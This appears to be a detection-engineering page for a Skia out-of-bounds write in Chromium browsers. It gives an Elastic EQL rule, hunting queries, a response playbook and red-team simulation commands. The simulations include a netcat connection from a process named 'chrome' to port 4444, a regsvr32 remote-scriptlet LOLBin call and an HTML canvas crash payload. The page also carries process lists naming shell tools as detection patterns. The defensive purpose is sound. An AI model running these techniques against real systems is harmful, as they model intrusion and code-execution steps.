Detect Google Skia Out-of-Bounds Write (CVE-2026-3909) in Elastic Security
Detects exploitation attempts targeting CVE-2026-3909, an out-of-bounds write vulnerability in Google Skia graphics library. Skia is embedded in Chrome and other Google products. Exploitation can lead to arbitrary code execution via crafted web content or malicious files. This vulnerability is confirmed exploited in the wild (CISA KEV).
MITRE ATT&CK
- Tactic
- Initial Access Execution
Elastic Detection Query
sequence by host.name with maxspan=2m
[process where event.type == "start"
and process.parent.name in ("chrome.exe", "msedge.exe", "brave.exe", "opera.exe")
and process.name in ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe")]
[any where event.category in ("network", "process")
and (network.direction == "outbound" or process.name : "*")]EQL sequence rule correlating a browser spawning a shell interpreter with subsequent network or process activity within a 2-minute window, indicative of Skia exploitation.
Data Sources
Required Tables
False Positives & Tuning
- Browser-based enterprise deployment tools launching installers
- Automated CI pipelines running from browser context on developer machines
- Browser extension helper processes with legitimate network activity
Other platforms for CVE-2026-3909
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Browser Spawning Shell (Windows)
Expected signal: Sysmon Event ID 1 showing cmd.exe with ParentImage containing chrome.exe; Windows Security 4688 process creation log
- Test 2Simulate Suspicious Outbound Network Connection from Browser Process (Linux)
Expected signal: Auditd or Sysmon-for-Linux network connection event showing process named 'chrome' connecting to port 4444
- Test 3Simulate Renderer Sandbox Escape via LOLBin Execution (Windows)
Expected signal: Sysmon Event ID 1 with regsvr32.exe CommandLine containing /i:http and scrobj.dll; Sysmon Event ID 3 network connection from regsvr32.exe
- Test 4Skia OOB Write Crash Reproduction (macOS — Lab Only)
Expected signal: Chrome crash report generated in crash-dumps-dir; macOS Console logs show SIGSEGV or SIGABRT from renderer process
Response Playbook
Triage
- Identify the affected host and confirm Chrome/Chromium-based browser version; check if it predates the March 2026 stable channel patch (https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_13.html).
- Review the parent-child process chain: confirm whether chrome.exe or msedge.exe directly spawned a shell (cmd.exe, powershell.exe). Capture the full command line arguments of both parent and child.
- Examine network connections established by the browser process around the time of the alert — look for outbound connections to unusual IPs or ports (4444, 1337, 8080, 9001) not matching known CDN or update infrastructure.
- Check for persistence mechanisms created after the suspicious process spawn: new scheduled tasks, registry run keys, or services created within 5 minutes of the anomalous child process.
Containment
- Isolate the affected endpoint from the network immediately using EDR remote isolation or network ACL if the alert confidence is high or any post-exploitation activity (lateral movement, C2) is confirmed.
- Force-terminate the suspicious child process and the browser process. Deploy a temporary GPO or MDM policy to block execution of cmd.exe and powershell.exe as child processes of browser executables enterprise-wide until patching is complete.
Evidence Collection
- Capture a full memory dump of the browser renderer process (chrome.exe --type=renderer PID) before termination using tools such as ProcDump or the EDR's memory acquisition capability.
- Collect browser crash reports, minidumps from %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\reports\, and relevant Windows Event Logs (Security 4688, Sysmon 1/3/11) for the 30-minute window surrounding the alert.
Escalation Criteria
- !Escalate to incident response if a reverse shell or interactive C2 session is confirmed, or if lateral movement indicators (SMB, WMI, RDP) are observed from the affected host.
- !Escalate if more than one host shows the same browser-spawning-shell pattern within a 24-hour window, indicating a potential watering-hole or spear-phishing campaign leveraging this CVE.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Browser renderer process minidumps: %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\reports\ - >
Windows Security Event 4688 (process creation with command line) for shell spawned by browser process - >
Sysmon Event ID 1 capturing ParentImage and CommandLine for any child of chrome.exe or msedge.exe - >
Prefetch files for cmd.exe, powershell.exe referencing chrome.exe as parent in the timeline
Tuning Guidance
Reduce false positives by creating an allowlist of known-good parent-child browser process pairs in your environment (e.g., browser-launched enterprise installers with signed binaries). Scope the network connection sub-rule to flag only non-CDN, non-update-service destination IPs using a threat intelligence feed. If the volume of browser-spawning-shell events is high in a DevOps environment, add a filter on the initiating user being a non-developer service account.
Hunting Queries
Retrospective 30-day hunt for any instance of Chromium-based browsers spawning shell interpreters or LOLBins — surfaces both historical exploitation and related activity not caught by real-time rules.
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName in~ ("chrome.exe", "msedge.exe", "brave.exe")
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "mshta.exe", "regsvr32.exe", "rundll32.exe", "certutil.exe", "bitsadmin.exe")
| summarize Count=count(), Hosts=dcount(DeviceName), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by FileName, InitiatingProcessFileName, ProcessCommandLine
| sort by Count descindex=endpoint sourcetype=sysmon EventCode=1
| where like(lower(ParentImage), "%chrome.exe") OR like(lower(ParentImage), "%msedge.exe")
| where like(lower(Image), "%cmd.exe") OR like(lower(Image), "%powershell.exe") OR like(lower(Image), "%wscript.exe") OR like(lower(Image), "%mshta.exe")
| stats count by Image, CommandLine, ParentCommandLine, host
| sort -countAtomic Red Team Tests
Simulates the process-creation pattern seen post-Skia-exploitation by launching cmd.exe as a child of chrome.exe via a helper script. This is a behavioral simulation only — no actual vulnerability is triggered.
Command
Start-Process chrome.exe -ArgumentList '--headless --disable-gpu --run-all-compositor-stages-before-draw' ; Start-Sleep 2 ; $chrome = Get-Process chrome | Select-Object -First 1 ; $job = Start-Job { Start-Process cmd.exe -ArgumentList '/c whoami > C:\Windows\Temp\skia_test_output.txt' } ; Wait-Job $jobCleanup
Remove-Item C:\Windows\Temp\skia_test_output.txt -Force -ErrorAction SilentlyContinue; Stop-Process -Name chrome -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 1 showing cmd.exe with ParentImage containing chrome.exe; Windows Security 4688 process creation log
Expected Detection
Alert fires on KQL/SPL rules matching chrome.exe parent -> cmd.exe child process creation pattern
Uses nc (netcat) to simulate a C2-like outbound connection from a process masquerading as a browser renderer, testing network-based detection coverage.
Command
cp /usr/bin/nc /tmp/chrome && chmod +x /tmp/chrome && /tmp/chrome -zv 127.0.0.1 4444 2>&1 || trueCleanup
rm -f /tmp/chromeExpected Telemetry
Auditd or Sysmon-for-Linux network connection event showing process named 'chrome' connecting to port 4444
Expected Detection
Network-based detection rules trigger on browser-named process connecting to port 4444
Mimics post-exploitation LOLBin abuse by having a browser-named process invoke regsvr32.exe with a remote scriptlet — a common sandbox escape technique following renderer RCE.
Command
& 'C:\Program Files\Google\Chrome\Application\chrome.exe' --headless --disable-gpu & Start-Sleep 3 & regsvr32.exe /s /n /u /i:http://127.0.0.1:8080/test.sct scrobj.dllCleanup
Stop-Process -Name chrome -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 1 with regsvr32.exe CommandLine containing /i:http and scrobj.dll; Sysmon Event ID 3 network connection from regsvr32.exe
Expected Detection
LOLBin detection rules fire on regsvr32.exe scriptlet execution; parent-child chain analysis links it to browser context
Attempts to reproduce a renderer crash consistent with OOB write in Skia by loading a specially crafted SVG/canvas payload in a sandboxed headless Chrome. No exploit code — crash-only reproduction for telemetry validation.
Command
cat > /tmp/skia_oob_test.html << 'EOF'
<canvas id='c' width='1' height='1'></canvas>
<script>
const ctx = document.getElementById('c').getContext('2d');
const img = new ImageData(new Uint8ClampedArray(4), 1, 1);
for(let i=0;i<100000;i++) ctx.putImageData(img, -2147483648, -2147483648);
</script>
EOF
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --disable-gpu --crash-dumps-dir=/tmp/skia_crashes /tmp/skia_oob_test.html 2>&1 | head -50Cleanup
rm -f /tmp/skia_oob_test.html; rm -rf /tmp/skia_crashesExpected Telemetry
Chrome crash report generated in crash-dumps-dir; macOS Console logs show SIGSEGV or SIGABRT from renderer process
Expected Detection
EDR memory protection events (e.g., exploit guard, heap corruption detection) may fire; crash report analytics pipeline should flag renderer crashes for investigation